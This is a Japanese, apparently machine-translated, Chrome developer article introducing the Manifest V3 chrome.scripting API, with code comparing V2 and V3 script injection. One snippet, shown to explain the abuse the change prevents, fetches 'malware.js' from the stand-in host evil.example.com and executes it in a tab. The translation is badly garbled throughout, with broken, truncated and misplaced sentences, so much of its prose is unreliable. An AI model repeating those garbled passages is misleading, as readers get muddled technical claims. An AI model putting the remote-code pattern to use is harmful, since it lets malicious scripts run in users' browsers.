chrome.scripting のご紹介

Manifest V3 では、Chrome の拡張機能プラットフォームにいくつかの変更が導入されています。この投稿では 特に注目すべき変更点のひとつである chrome.scripting API を導入しました。

chrome.scripting とは

名前のとおり、chrome.scripting は Manifest V3 で導入された新しい名前空間です スクリプトとスタイル インジェクションの機能を担います。

Manifest V2 のメソッドを使い慣れている可能性がある(過去に Chrome 拡張機能を作成したことがあるデベロッパーの場合) chrome.tabs.executeScript などの Tabs APIchrome.tabs.insertCSS。これらのメソッドを使用すると、拡張機能がスクリプトを挿入したり、 変換できますManifest V3 では、これらの機能は chrome.scripting。将来的には、この API を拡張していくつかの新機能を追加する予定です。

新しい API を作成する理由

このような変化において、最初に思い浮かぶことが多い質問の一つは、「なぜ?」です。

さまざまな要因から、Chrome チームはスクリプトに新しい名前空間を導入することにしました。 まず、Tabs API は機能の小さな引き出しのようなものです。2 つ目は 既存の executeScript API に対する変更。そして 3 つ目の柱として サポートしています。こうした懸念から、新しい Namespace の必要性が明確に定義され、 スクリプト機能を提供します

ゴミの引き出し

ここ数年、Extensions Team を悩ませてきた問題の 1 つは、 chrome.tabs API が過負荷になっています。この API が最初に導入されたときは、ほとんどの ブラウザタブという広い概念に関連しています。しかしその時点でも、 このコレクションは年月を経るごとに増え続けています

Manifest V3 がリリースされる頃には、Tabs API は基本的なタブ管理に対応するようになりましたが、 選択管理、ウィンドウ整理、メッセージング、ズーム コントロール、基本ナビゲーション、スクリプト、 その他の機能もいくつかありますこれらはすべて重要ですが、 Chrome チームにとっても プラットフォームを保守し デベロッパー コミュニティからのリクエストを考慮してください。

もう 1 つの複雑な要因は、tabs 権限が十分に理解されていないことです。他にも多くの企業が 特定の API(storage など)へのアクセスを制限する場合、この権限は少し 他の方法では、タブ インスタンスで機密性の高いプロパティへのアクセス権のみが拡張機能に付与されます(また Windows API にも影響します)。当然のことながら、拡張機能開発者の多くは Tabs API のメソッド(chrome.tabs.create など)にアクセスするには、この権限が必要です。 よりドイツ語で表現するなら、chrome.tabs.executeScript にします。Tabs API から機能を移動して いくつかあります。

破壊的変更

Manifest V3 の設計時に対処したかった大きな問題の一つは、悪用とマルウェアでした。 「リモートでホストされるコード」によって有効化される- 実行されるが拡張機能に含まれていないコード パッケージ化されています。不正な拡張機能の作成者は、リモート サーバーから取得したスクリプトを実行して、 ユーザーデータを盗み、マルウェアを注入し、検出を回避します。優秀なアクターもこの機能を使用しますが、 そのままでは危険性が高すぎると結論付けました。

拡張機能がバンドルされていないコードを実行する方法はいくつかありますが、関連する方法は 以下は、Manifest V2 の chrome.tabs.executeScript メソッドです。このメソッドを使用すると、 ターゲット タブで任意の文字列のコードを実行する。つまり、悪意のあるデベロッパーが リモート サーバーから任意のスクリプトをフェッチして、拡張機能が できます。リモートコードの問題に対処するには、この問題を解決しなければならないことはわかっていました。 機能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

また、Manifest V2 バージョンのデザインのその他の微妙な問題を解消する必要もありました。 API をより洗練された予測可能なツールにします

Tabs API 内でこのメソッドのシグネチャを変更することもできますが、 新機能(次のセクションで説明します)の導入など、 誰にとっても簡単でしょう。

スクリプト機能の拡張

Manifest V3 の設計プロセスで考慮したもう一つの検討事項は、 追加のスクリプト機能を Chrome の拡張機能プラットフォームに追加します。具体的には 動的コンテンツ スクリプトのサポートと executeScript メソッドの機能の拡張。

動的コンテンツ スクリプトのサポートは、Chromium で以前から機能リクエストとなっていました。現在、 Manifest V2 および V3 の Chrome 拡張機能では、 manifest.json ファイルプラットフォームには、新しいコンテンツ スクリプトを登録する手段、 実行時にコンテンツ スクリプトの登録の解除、コンテンツ スクリプトの登録などの操作を行うことができます。

この機能リクエストには Manifest V3 で対応したいと考えていましたが、 API は最適なプラットフォームのように感じられました。また、Firefox とのコンテンツ スクリプトについての調整も検討しました。 API を作成しましたが、ごく早い段階でこの方法にはいくつかの大きな欠点を特定しました。 まず、互換性のないシグネチャがあることがわかっていました(例: code のサポートの廃止)。 プロパティ)。第二に、当社の API にはさまざまな設計上の制約がありました(例: Service Worker の存続期間を超えて存続します)。最後に、この Namespace は Google Cloud の より広範に拡張機能でのスクリプト作成を検討しています

executeScript については、この API の機能を拡張し、タブ以外の処理も検討しました。 サポートされている API バージョン。具体的には、関数と引数のサポートをより簡単に 特定のフレームをターゲットに、「タブ」以外をターゲットにする学びます。

今後、拡張機能がインストール済みの PWA やその他の機能と連携する方法も検討しています。 「タブ」にマッピングされていないからです。

tabing.executeScript と scripting.executeScript 間の変更

この投稿の残りの部分では、類似点と相違点について詳しく見ていきます。 chrome.tabs.executeScriptchrome.scripting.executeScript

関数に引数を注入する

リモートでホストされるコードに照らして、プラットフォームをどのように進化させる必要があるかを検討している そこで、任意のコード実行の力とコード実行の能力のバランスを 静的コンテンツスクリプトを許可します私たちが考えた解決策は、拡張機能に 関数をコンテンツ スクリプトとして機能させ、引数として値の配列を渡します。

(単純化されすぎている)例を簡単に見てみましょう。外部 IP アドレスを含むスクリプトを ユーザーが拡張機能の操作ボタン(ツールバーのアイコン)をクリックしたときに、名前で挨拶します。 Manifest V2 では動的にコード文字列を作成し、そのスクリプトを現在の できます。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 拡張機能では拡張機能にバンドルされていないコードは使用できないが、Google の目標は 任意のコードブロックが Manifest V2 拡張機能で有効にされたダイナミズムの一部を維持します。「 関数と引数を使用する方法により、Chrome ウェブストアのレビュー担当者、ユーザー、その他のユーザーが 拡張機能がもたらすリスクをより正確に評価できると同時に、 デベロッパーがユーザー設定やアプリケーションの状態に基づいて拡張機能のランタイム動作を変更できるようにする。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

ターゲティング フレーム

また、改訂された API で開発者がフレームを操作する方法も改善したいと考えました。Manifest V2 バージョン executeScript では、デベロッパーはタブ内のすべてのフレームまたは特定の クリックします。chrome.webNavigation.getAllFrames を使用すると、 クリックします。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3 では、オプション オブジェクトの frameId 整数プロパティを オプションの整数の frameIds 配列。これによりデベロッパーは 1 つの画面で複数のフレームを API 呼び出し。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

スクリプト インジェクションの結果

また、Manifest V3 でスクリプト インジェクションの結果を返す方法も改善しました。「結果」 基本的には、最終的にスクリプトで評価されるステートメントです。トレーニング中に返される値のような eval() を呼び出すか、Chrome DevTools コンソールでコードブロックを実行します。ただし、次の目的でシリアル化されています。 プロセス間で結果を受け渡しできます

Manifest V2 では、executeScriptinsertCSS は通常の実行結果の配列を返します。 注入ポイントが 1 つしかない場合は問題ありませんが、注入時に結果の順序が保証されません。 複数のフレームに注入されるため、どの結果がどのフレームに関連付けられているかを見分ける方法がありません。 クリックします。

具体的な例として、Manifest V2 によって返される results 配列と 同じ拡張機能の Manifest V3 バージョン。どちらのバージョンの拡張機能でも、同じものが挿入されます。 同じデモページで結果を比較します。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 バージョンを実行すると、[1, 0, 5] の配列が返されます。対応する結果 どちらがメインフレーム用ですか?戻り値から判断できないため、 間違いありません

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 バージョンでは、results に結果オブジェクトの配列ではなく、結果オブジェクトの配列が含まれるようになりました 評価結果だけであり、結果オブジェクトでは各フレームの ID が 表示されます。これにより、デベロッパーは結果を活用して、特定の状況でアクションを起こしやすくなります クリックします。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

まとめ

マニフェスト バージョンのバンプは、拡張機能 API を再考してモダナイズする貴重な機会となります。目標 拡張機能の安全性を高めてエンドユーザーの エクスペリエンスを向上させると同時に 開発者エクスペリエンスを改善しますManifest V3 で chrome.scripting を導入することで、 Tabs API のクリーンアップを支援し、executeScript をより安全な拡張機能プラットフォームに再構築します。 また、今年後半にリリース予定の新しいスクリプト機能の土台を築くこともできます。